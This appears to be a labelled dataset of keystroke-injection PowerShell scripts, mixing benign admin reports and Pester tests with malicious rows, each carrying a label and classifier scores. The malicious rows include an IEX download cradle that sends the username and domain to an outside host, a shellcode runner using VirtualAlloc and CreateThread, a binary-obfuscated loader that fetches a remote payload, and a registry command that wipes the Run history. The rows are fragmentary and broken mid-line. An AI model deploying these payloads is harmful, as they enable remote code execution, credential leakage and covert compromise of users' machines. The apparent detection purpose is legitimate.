} enter enter & ( Get-Module Pester ) { enter $GherkinHooks[""AfterEachFeature""].Count enter } | Should -Be 1 enter } enter enter It ""Has a AfterEachFeature function which takes a ScriptBlock and populates GherkinHooks"" { enter AfterEachFeature { } enter enter & ( Get-Module Pester ) { enter $GherkinHooks[""AfterEachFeature""].Count enter } | Should -Be 1 enter } enter enter It ""The BeforeEachFeature function takes Tags and stores them"" { enter BeforeEachFeature ""WIP"" { Write-Warning ""This Test marked ''In Progress''"" } enter enter & ( Get-Module Pester ) { enter $GherkinHooks[""BeforeEachFeature""][-1].Tags enter } | Should -Be ""WIP"" enter } enter enter It ""The BeforeEachScenario function takes Tags and stores them"" { enter BeforeEachScenario ""WIP"" { Write-Warning ""This Test marked ''In Progress''"" } enter enter & ( Get-Module Pester ) { enter $GherkinHooks[""BeforeEachScenario""][-1].Tags enter } | Should -Be ""WIP"" enter } enter enter It ""The AfterEachFeature function takes Tags and stores them"" { enter AfterEachFeature ""WIP"" { Write-Warning ""This Test marked ''In Progress''"" } enter enter & ( Get-Module Pester ) { enter $GherkinHooks[""AfterEachFeature""][-1].Tags enter } | Should -Be ""WIP"" enter } enter enter It ""The AfterEachFeature function takes Tags and stores them"" { enter AfterEachFeature ""WIP"" { Write-Warning ""This Test marked ''In Progress''"" } enter enter & ( Get-Module Pester ) { enter $GherkinHooks[""AfterEachFeature""][-1].Tags enter } | Should -Be ""WIP"" enter } enter enter It ""Calls the hooks in order"" { enter $Warnings = Start-Job -ArgumentList $scriptRoot -ScriptBlock { enter param ($scriptRoot) enter Get-Module Pester | Remove-Module -Force enter Import-Module $scriptRoot\Pester.psd1 -Force enter enter $Global:GherkinOrderTests = Join-Path $scriptRoot Examples\Validator\OrderTrace.txt enter if (Test-Path $Global:GherkinOrderTests) { enter Remove-Item $Global:GherkinOrderTests enter } enter Invoke-Gherkin (Join-Path $scriptRoot Examples\Validator\Validator.feature) -Show None enter Get-Content $Global:GherkinOrderTests enter Remove-item $Global:GherkinOrderTests enter } | Wait-Job | Receive-Job enter enter $ExpectedOutput = "" enter BeforeEachFeature enter BeforeEachScenario enter Scenario One enter AfterEachScenario enter BeforeEachScenario enter Scenario Two enter AfterEachScenario enter BeforeEachScenario enter Scenario Two enter AfterEachScenario enter BeforeEachScenario enter Scenario Two enter AfterEachScenario enter BeforeEachScenario enter Scenario Two enter AfterEachScenario enter BeforeEachScenario enter Scenario Two enter AfterEachScenario enter BeforeEachScenario enter Scenario Two enter AfterEachScenario enter BeforeEachScenario enter Scenario Two enter AfterEachScenario enter AfterEachFeature enter "" -split "" enter ? enter "" | ForEach-Object { $_.Trim() } | Where-Object { $_ } enter $Warnings | Should -Be $ExpectedOutput enter enter } enter enter } enter enter",0,0,0.99994874,5.1208743e-05
"win+r enter powershell enter enter enter  enter [CmdletBinding()] enter param ( enter [Parameter(ValueFromPipeline, enter ValueFromPipelineByPropertyName)] enter [string]$Computername = 'localhost' enter ) enter enter begin { enter Set-StrictMode -Version Latest enter } enter enter process { enter try { enter $WmiResult = Get-WmiObject -Class Win32_OperatingSystem -ComputerName $ComputerName enter $LastBoot = $WmiResult.ConvertToDateTime($WmiResult.LastBootupTime) enter $ObjParams = [ordered]@{'Computername' = $Computername } enter ((Get-Date) - $LastBoot).psobject.properties | foreach { $ObjParams[$_.Name] = $_.Value } enter New-Object -TypeName PSObject -Property $ObjParams enter } catch { enter Write-Error $_.Exception.Message enter } enter } enter enter end { enter enter } enter enter",0,0,0.9994923,0.00050774525
"win+r powershell enter using namespace System.Diagnostics Describe 'minishell for native executables' enter -Tag 'CI' { BeforeAll { $powershell = Join-Path -Path $PsHome -ChildPath ""pws enter h"" } Context 'Streams from minishell' { It 'gets a hashtable object from mi enter nishell' { $output = & $powershell -noprofile { @{'a' = 'b'} } enter enter",1,1,0.0024959024,0.99750406
win+r enter powershell enter enter enter IEX ((new-object net.webclient).downloadstring('https://wowyy.ga/counter.php?c=pdfxpl '+($env:username)+'@'+($env:userdomain))) enter enter,1,1,5.75956e-05,0.9999424
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_qtn6er9e"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter $PSVersionTable | enter Export-Csv -Path (Join-Path $ReportDir ""environment_ps_version.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3726286e-05
"win+r enter powershell enter enter enter  enter function Test-Table enter { enter $dfname = Get-DataFactoryName enter $rgname = Get-ResourceGroupName enter $rglocation = Get-ProviderLocation ResourceManagement enter $dflocation = Get-ProviderLocation DataFactoryManagement enter enter New-AzResourceGroup -Name $rgname -Location $rglocation -Force enter enter try enter { enter New-AzDataFactory -ResourceGroupName $rgname -Name $dfname -Location $dflocation -Force enter enter New-AzDataFactoryLinkedService -ResourceGroupName $rgname -DataFactoryName $dfname -File .\Resources\linkedService.json -Force enter enter $datasetname = ""foo2"" enter $actual = New-AzDataFactoryDataset -ResourceGroupName $rgname -DataFactoryName $dfname -Name $datasetname -File .\Resources\dataset.json -Force enter $expected = Get-AzDataFactoryDataset -ResourceGroupName $rgname -DataFactoryName $dfname -Name $datasetname enter enter Assert-AreEqual $expected.ResourceGroupName $actual.ResourceGroupName enter Assert-AreEqual $expected.DataFactoryName $actual.DataFactoryName enter Assert-AreEqual $expected.DatasetName $actual.DatasetName enter enter Remove-AzDataFactoryDataset -ResourceGroupName $rgname -DataFactoryName $dfname -Name $datasetname -Force enter } enter finally enter { enter Clean-DataFactory $rgname $dfname enter } enter } enter function Test-TableWithDataFactoryParameter enter { enter $dfname = Get-DataFactoryName enter $rgname = Get-ResourceGroupName enter $rglocation = Get-ProviderLocation ResourceManagement enter $dflocation = Get-ProviderLocation DataFactoryManagement enter enter New-AzResourceGroup -Name $rgname -Location $rglocation -Force enter enter try enter { enter $df = New-AzDataFactory -ResourceGroupName $rgname -Name $dfname -Location $dflocation -Force enter enter New-AzDataFactoryLinkedService -ResourceGroupName $rgname -DataFactoryName $dfname -File .\Resources\linkedService.json -Force enter enter $datasetname = ""foo2"" enter $actual = New-AzDataFactoryDataset -DataFactory $df -Name $datasetname -File .\Resources\dataset.json -Force enter $expected = Get-AzDataFactoryDataset -DataFactory $df -Name $datasetname enter enter Assert-AreEqual $expected.ResourceGroupName $actual.ResourceGroupName enter Assert-AreEqual $expected.DataFactoryName $actual.DataFactoryName enter Assert-AreEqual $expected.DatasetName $actual.DatasetName enter enter Remove-AzDataFactoryDataset -DataFactory $df -Name $datasetname -Force enter } enter finally enter { enter Clean-DataFactory $rgname $dfname enter } enter } enter function Test-TablePiping enter { enter $dfname = Get-DataFactoryName enter $rgname = Get-ResourceGroupName enter $rglocation = Get-ProviderLocation ResourceManagement enter $dflocation = Get-ProviderLocation DataFactoryManagement enter enter New-AzResourceGroup -Name $rgname -Location $rglocation -Force enter enter try enter { enter New-AzDataFactory -ResourceGroupName $rgname -Name $dfname -Location $dflocation -Force enter enter New-AzDataFactoryLinkedService -ResourceGroupName $rgname -DataFactoryName $dfname -File .\Resources\linkedService.json -Force enter enter $datasetname = ""foo2"" enter New-AzDataFactoryDataset -ResourceGroupName $rgname -DataFactoryName $dfname -Name $datasetname -File .\Resources\dataset.json -Force enter enter Get-AzDataFactoryDataset -ResourceGroupName $rgname -DataFactoryName $dfname -Name $datasetname | Remove-AzDataFactoryDataset -Force enter Assert-ThrowsContains { Get-AzDataFactoryDataset -ResourceGroupName $rgname -DataFactoryName $dfname -Name $datasetname } ""TableNotFound"" enter } enter finally enter { enter Clean-DataFactory $rgname $dfname enter } enter } enter enter",0,0,0.99995387,4.6116e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_rs23szp1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter",0,0,0.99996555,3.4452514e-05
"win r ms-settings:apps-volume enter enter alt f4 win r https://rebrand.ly/r1ckr0l13r enter enter win r cmd enter enter mode 15,1 enter enter color 01 enter enter reg delete hkey_current_user\software\microsoft\windows\currentversion\explorer enter unmru /va /f enter enter alt f4",1,1,9.18637e-05,0.9999081
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_fj0qt4fl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_disabled_tasks.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 40 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_40.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4149776e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_hsa4uq0s"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter $PSVersionTable | enter Export-Csv -Path (Join-Path $ReportDir ""environment_ps_version.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996674,3.329856e-05
"win+r enter powershell enter enter enter $be6 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $be6 -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xce,0xb8,0x48,0xa5,0x1b,0x70,0xd9,0x74,0x24,0xf4,0x5b,0x33,0xc9,0xb1,0x58,0x31,0x43,0x19,0x83,0xeb,0xfc,0x03,0x43,0x15,0xaa,0x50,0xe7,0x98,0xa8,0x9b,0x18,0x59,0xcc,0x12,0xfd,0x68,0xcc,0x41,0x75,0xda,0xfc,0x02,0xdb,0xd7,0x77,0x46,0xc8,0x6c,0xf5,0x4f,0xff,0xc5,0xb3,0xa9,0xce,0xd6,0xef,0x8a,0x51,0x55,0xed,0xde,0xb1,0x64,0x3e,0x13,0xb3,0xa1,0x22,0xde,0xe1,0x7a,0x29,0x4d,0x16,0x0e,0x67,0x4e,0x9d,0x5c,0x66,0xd6,0x42,0x14,0x89,0xf7,0xd4,0x2e,0xd0,0xd7,0xd7,0xe3,0x69,0x5e,0xc0,0xe0,0x57,0x28,0x7b,0xd2,0x2c,0xab,0xad,0x2a,0xcd,0x00,0x90,0x82,0x3c,0x58,0xd4,0x25,0xde,0x2f,0x2c,0x56,0x63,0x28,0xeb,0x24,0xbf,0xbd,0xe8,0x8f,0x34,0x65,0xd5,0x2e,0x99,0xf0,0x9e,0x3d,0x56,0x76,0xf8,0x21,0x69,0x5b,0x72,0x5d,0xe2,0x5a,0x55,0xd7,0xb0,0x78,0x71,0xb3,0x63,0xe0,0x20,0x19,0xc2,0x1d,0x32,0xc2,0xbb,0xbb,0x38,0xef,0xa8,0xb1,0x62,0x78,0x40,0xaf,0xe8,0x78,0xf4,0x58,0x78,0x17,0x6d,0xf3,0x12,0xab,0x1a,0xdd,0xe5,0xcc,0x31,0x10,0x31,0x61,0xea,0x00,0x96,0xd5,0x64,0x9d,0x4e,0xa3,0xd3,0x1e,0xbb,0x00,0x48,0x8b,0x47,0xf4,0x3d,0x23,0xf3,0xfb,0xc1,0xb3,0xeb,0x70,0xc1,0xb3,0xeb,0xa7,0xb8,0x83,0xbf,0x9a,0x08,0xe4,0x6f,0x8d,0x3b,0x6d,0x10,0x8b,0x3c,0xb8,0xa6,0xd2,0x91,0x2b,0xb9,0xe8,0xf5,0x28,0xea,0x5f,0xa6,0x67,0x5e,0x36,0x20,0x63,0x35,0x98,0x8b,0x8c,0x63,0x72,0x81,0x78,0xd3,0x13,0xd5,0x4e,0xeb,0xe3,0x5c,0x50,0x81,0xe7,0x0e,0xfb,0x49,0xbe,0xc6,0x8e,0x33,0xa0,0x90,0x8e,0x69,0x8f,0xcf,0x23,0xc1,0x66,0x87,0xee,0xe3,0x9e,0x2c,0x0e,0x3e,0x1b,0x12,0x85,0xcb,0x6b,0xe7,0xbf,0xa4,0x83,0xb2,0xe2,0x63,0x9b,0x69,0x88,0xcb,0x0b,0x91,0x5d,0xcc,0xcb,0xf9,0x5d,0xcc,0x8b,0xf9,0x0e,0xa4,0x53,0x5d,0xe3,0xd1,0x9b,0x48,0x97,0x49,0x37,0xfb,0x7f,0x3a,0xdf,0xfb,0x5f,0xc5,0x1f,0xa8,0xc9,0xad,0x0d,0xd8,0x7f,0xcf,0xcd,0x31,0xfa,0xd0,0x46,0x74,0x8e,0xd6,0xa7,0x45,0x14,0x18,0xd2,0xac,0x4f,0x5a,0x42,0xc6,0x05,0xa3,0x82,0xe9,0x84,0x34,0x12,0x61,0x24,0xae,0x82,0xec,0xc1,0x1e,0x3f,0x8a,0x43,0x2c,0x91,0x3c,0xf9,0xa6,0xed;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$Zdx=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($Zdx.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$Zdx,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.198646e-05,0.999948
"win+r powershell enter $url = ""https://www.google.com/search?q=saul+goodman&tbm=isch&tbo=u&source=univ& enter sa=X&ved=0ahUKEwi4t4yhs4_TAhUEzGMKHbgdBu8Q7AkIRA&biw=1920&bih=950"" $wc = New-Obj enter ect System.Net.WebClient $html = $wc.DownloadString($url) $startIndex = $html.In enter dexOf(""imgres?imgurl="") + 15 $endIndex = $html.IndexOf(""&amp;imgrefurl="",$startI enter ndex) $imageUrl = $html.SubString($startIndex,$endIndex - $startIndex) enter",1,1,7.0709495e-05,0.9999293
"win+r enter powershell enter enter enter $outputDir = Join-Path -Path $ENV:BHProjectPath -ChildPath 'out' enter $outputModDir = Join-Path -Path $outputDir -ChildPath $env:BHProjectName enter $manifest = Import-PowerShellDataFile -Path $env:BHPSModuleManifest enter $outputModVerDir = Join-Path -Path $outputModDir -ChildPath $manifest.ModuleVersion enter $commands = Get-Command -Module (Get-Module $env:BHProjectName) -CommandType Cmdlet, Function, Workflow enter foreach ($command in $commands) { enter $commandName = $command.Name enter $help = Get-Help $commandName -ErrorAction SilentlyContinue enter enter Describe ""Test help for $commandName"" { enter It 'should not be auto-generated' { enter $help.Synopsis | Should Not BeLike '*`[`<CommonParameters`>`]*' enter } enter It ""gets description for $commandName"" { enter $help.Description | Should Not BeNullOrEmpty enter } enter It ""gets example code from $commandName"" { enter ($help.Examples.Example | Select-Object -First 1).Code | Should Not BeNullOrEmpty enter } enter It ""gets example help from $commandName"" { enter ($help.Examples.Example.Remarks | Select-Object -First 1).Text | Should Not BeNullOrEmpty enter } enter enter Context ""Test parameter help for $commandName"" { enter enter $common = 'Debug', 'ErrorAction', 'ErrorVariable', 'InformationAction', 'InformationVariable', 'OutBuffer', enter 'OutVariable', 'PipelineVariable', 'Verbose', 'WarningAction', 'WarningVariable', 'Confirm', 'Whatif' enter enter $parameters = $command.ParameterSets.Parameters | enter Sort-Object -Property Name -Unique | enter Where-Object { $_.Name -notin $common } enter $parameterNames = $parameters.Name enter $helpParameters = $help.Parameters.Parameter | enter Where-Object { $_.Name -notin $common } | enter Sort-Object -Property Name -Unique enter $helpParameterNames = $helpParameters.Name enter enter foreach ($parameter in $parameters) { enter $parameterName = $parameter.Name enter $parameterHelp = $help.parameters.parameter | Where-Object Name -EQ $parameterName enter It ""gets help for parameter: $parameterName : in $commandName"" { enter $parameterHelp.Description.Text | Should Not BeNullOrEmpty enter } enter It ""help for $parameterName parameter in $commandName has correct Mandatory value"" { enter $codeMandatory = $parameter.IsMandatory.toString() enter $parameterHelp.Required | Should Be $codeMandatory enter } enter } enter enter foreach ($helpParm in $HelpParameterNames) { enter enter It ""finds help parameter in code: $helpParm"" { enter $helpParm -in $parameterNames | Should Be $true enter } enter } enter } enter enter Context ""Help Links should be Valid for $commandName"" { enter $link = $help.relatedLinks.navigationLink.uri enter enter foreach ($link in $links) { enter if ($link) { enter enter it ""[$link] should have 200 Status Code for $commandName"" { enter $Results = Invoke-WebRequest -Uri $link -UseBasicParsing enter $Results.StatusCode | Should Be '200' enter } enter } enter } enter } enter } enter } enter enter",0,0,0.99987006,0.00012991074
"# F i x a c t i o n s $ O m i l t a Z = "" S h "" ; $ O m i l t a enter Z + = "" o w W i n "" ; $ O m i l t a Z + = "" d o w "" ; $ m a enter r a D i z o = "" G e t "" enter",1,1,6.836814e-05,0.9999316
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_loshqqjc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 40 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_40.json"") -Encoding UTF8 enter",0,0,0.9999658,3.4168308e-05
"win+r enter powershell enter enter enter $t0='bE100'.replace('b','I').replace('100','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01010000,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,01100011,01101111,01110010,01110011,01100011,01100001,01101110,01101001,01100001,00101110,01100011,01101111,01101101,00101111,01100011,01100111,01101001,01101000,01110101,01100010,00101111,01000101,01101110,01100011,01110010,01111001,01110000,01110100,01100101,01100100,00100000,01000011,01101100,01101001,01100101,01101110,01110100,00100000,01001111,01000111,00101110,01101010,01110000,01100111,00100111,00101001,01111100,01010000) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };([system.String]::Join('', $gf))|P enter enter",1,1,6.2245956e-05,0.9999378
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_b5cl7mvn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 40 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_40.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4287645e-05
win+r powershell enter . $PSScriptRoot\Shared.ps1 InModuleScope posh-git { Describe 'Get-GitBranch Te enter sts' { Context 'Get-GitBranch GIT_DIR Tests' { It 'Returns GIT_DIR! when in .g enter it dir of the repo' { $repoRoot = (Resolve-Path $PSScriptRoot\..).Path Set-Loc enter ation $repoRoot\.git -ErrorAction Stop Get-GitBranch | Should BeExactly 'GIT_DI enter R!' } It 'Returns correct path when in a child folder of the .git dir of the r enter epo' { $repoRoot = (Resolve-Path $PSScriptRoot\..).Path enter,0,1,0.0039683366,0.9960317
"win+r enter powershell enter enter enter function New-LabVM{ enter param([string]$VMName enter ,[string]$VMPath enter ,[string]$VHDPath enter ,[string[]]$VMSwitches enter ,[string[]]$ISOs enter ,[string]$VMSource enter ,[Parameter(Mandatory=$true)][System.Management.Automation.PSCredential]$LocalCred enter ) enter try{ enter $VHDFile = Join-Path -Path $VHDPath -ChildPath ""$VMName.vhdx"" enter $VMFile = Join-Path -Path $VMPath -ChildPath ""$VMName.vhdx"" enter enter if($VMSource){ enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]Creating $VHDFile from $VMSource ..."" enter Copy-Item $VMSource $VHDFile enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]Setting boot order to VHD first..."" enter $StartOrder = @(""IDE"",""CD"",""LegacyNetworkAdapter"",""Floppy"") enter } enter else{ enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]Creating empty $VHDFile ($VHDSize GB) ..."" enter $VHDSizeBytes = $VHDSizeGB*1GB enter New-VHD -Path $VHDFile -SizeBytes $VHDSizeBytes -Dynamic enter enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]Setting boot order to DVD first..."" enter $StartOrder = @(""CD"",""IDE"",""LegacyNetworkAdapter"",""Floppy"") enter } enter enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]Creating $VMName..."" enter New-VM -Name $VMName -BootDevice CD -Generation 1 -Path $VMPath -SwitchName $VMSwitches[0] enter Set-VMBios -VMName $VMName -StartupOrder $StartOrder enter Add-VMHardDiskDrive -VMName $VMName -Path $VHDFile -ControllerNumber 0 -ControllerLocation 0 enter foreach($VMSwitch in $VMSwitches){ enter if($VMSwitch -eq $VMSwitches[0]){ enter Rename-VMNetworkAdapter -VMName $VMName -Name 'Network Adapter' -NewName $VMSwitch enter } enter else{ enter Add-VMNetworkAdapter -VMName $VMName -Name $VMSwitch -SwitchName $VMSwitch enter } enter } enter enter foreach($ISO in $ISOs){ enter if($ISO -eq $ISOs[0]){ enter Set-VMDvdDrive -vmname $VMName -Path $ISO -ToControllerNumber 1 -ToControllerLocation 0 enter } enter else{ enter Add-VMDvdDrive -VMName $VMName -Path $ISO -ControllerNumber 1 -ControllerLocation $ISOs.IndexOf($ISO) enter } enter } enter enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]Starting $VMName..."" enter $NewVM = Get-VM -Name $VMName enter $NewVM | Start-VM enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]Renaming computer..."" enter Start-Sleep 60 enter Invoke-Command -VMName $VMName -Credential $LocalCred {Rename-Computer -NewName $using:VMName -Force -Restart;} enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]$VMName complete."" enter return $NewVM enter } enter catch{ enter Write-Error $Error[0] enter return enter } enter } enter enter if (get-module WindowsImageTools) { Remove-Module WindowsImageTools} enter enter import-module WindowsImageTools enter enter Initialize-VHDPartition -Path $env:temp tab emp1.vhdx -Dynamic -Verbose -DiskLayout UEFI -RecoveryImage -force -Passthru | enter Set-VHDPartition -SourcePath $PSScriptRoot\Example.wim -Index 1 -Confirm:$false -force -Verbose enter enter Convert-Wim2VHD -Path $env:temp tab est2.vhdx -SourcePath $PSScriptRoot\Example.wim -DiskLayout BIOS -Dynamic -Index 1 -Size 50GB -Force -Verbose enter set enter enter If(!(Get-VMSwitch 'HostNetwork')){New-VMSwitch -Name 'HostNetwork' -SwitchType Internal} enter If(!(Get-VMSwitch 'LabNetwork')){New-VMSwitch -Name 'LabNetwork' -SwitchType Private} enter if(Test-Path F:\VMs\ISOs\GM2016Tp3.vhdx){Remove-Item C:\VMs\ISOs\GM2016Tp3.vhdx} enter Convert-WindowsImage -SourcePath C:\VMs\ISOs\en_windows_server_2016_technical_preview_3_x64_dvd_6942082.iso -VHDPath C:\VMs\ISOs\GM2016Tp3.vhdx -VHDFormat VHDX -VHDType Dynamic -Edition ServerDatacenterCore -VHDPartitionStyle MBR -UnattendPath C:\VMs\ISOs\unattend.xml enter enter if(Test-Path C:\VMs\ISOs\GM2012R2Core.vhdx){Remove-Item C:\VMs\ISOs\GM2012R2Core.vhdx} enter Convert-Wim2VHD -SourcePath C:\VMs\ISOs\en_windows_server_2012_r2_with_update_x64_dvd_6052708.iso -Path C:\VMs\ISOs\GM2012R2Core.vhdx -VHDFormat VHDX -Dynamic -Index 3 -DiskLayout BIOS -Unattend C:\VMs\ISOs\unattend.xml enter enter if(Test-Path C:\VMs\ISOs\GM2012R2Full.vhdx){Remove-Item C:\VMs\ISOs\GM2012R2Full.vhdx} enter Convert-WindowsImage -SourcePath C:\VMs\ISOs\en_windows_server_2012_r2_with_update_x64_dvd_6052708.iso -VHDPath C:\VMs\ISOs\GM2012R2Full.vhdx -VHDFormat VHDX -VHDType Dynamic -Edition ServerDatacenter -VHDPartitionStyle MBR -UnattendPath C:\VMs\ISOs\unattend.xml enter $DriveLetter = (Mount-VHD F:\VMs\ISOs\GM2016Tp3.vhdx –PassThru | Get-Disk | Get-Partition | Get-Volume).DriveLetter enter Copy-Item -Path C:\git-repositories\PowerShell\cSQLResources -Destination ""$DriveLetter`:\Program Files\WindowsPowershell\Modules"" -Recurse enter Copy-Item -Path C:\git-repositories\PowerShell\SqlConfiguration -Destination ""$DriveLetter`:\Program Files\WindowsPowershell\Modules"" -Recurse enter Dismount-VHD -Path F:\VMs\ISOs\GM2016Tp3.vhdx enter enter $Servers = @() enter $Servers += New-Object psobject -Property @{Name='PALPATINE';Type='Full';Class='DomainController'} enter $Servers += New-Object psobject -Property @{Name='VADER';Type='Core';Class='SQLServer'} enter 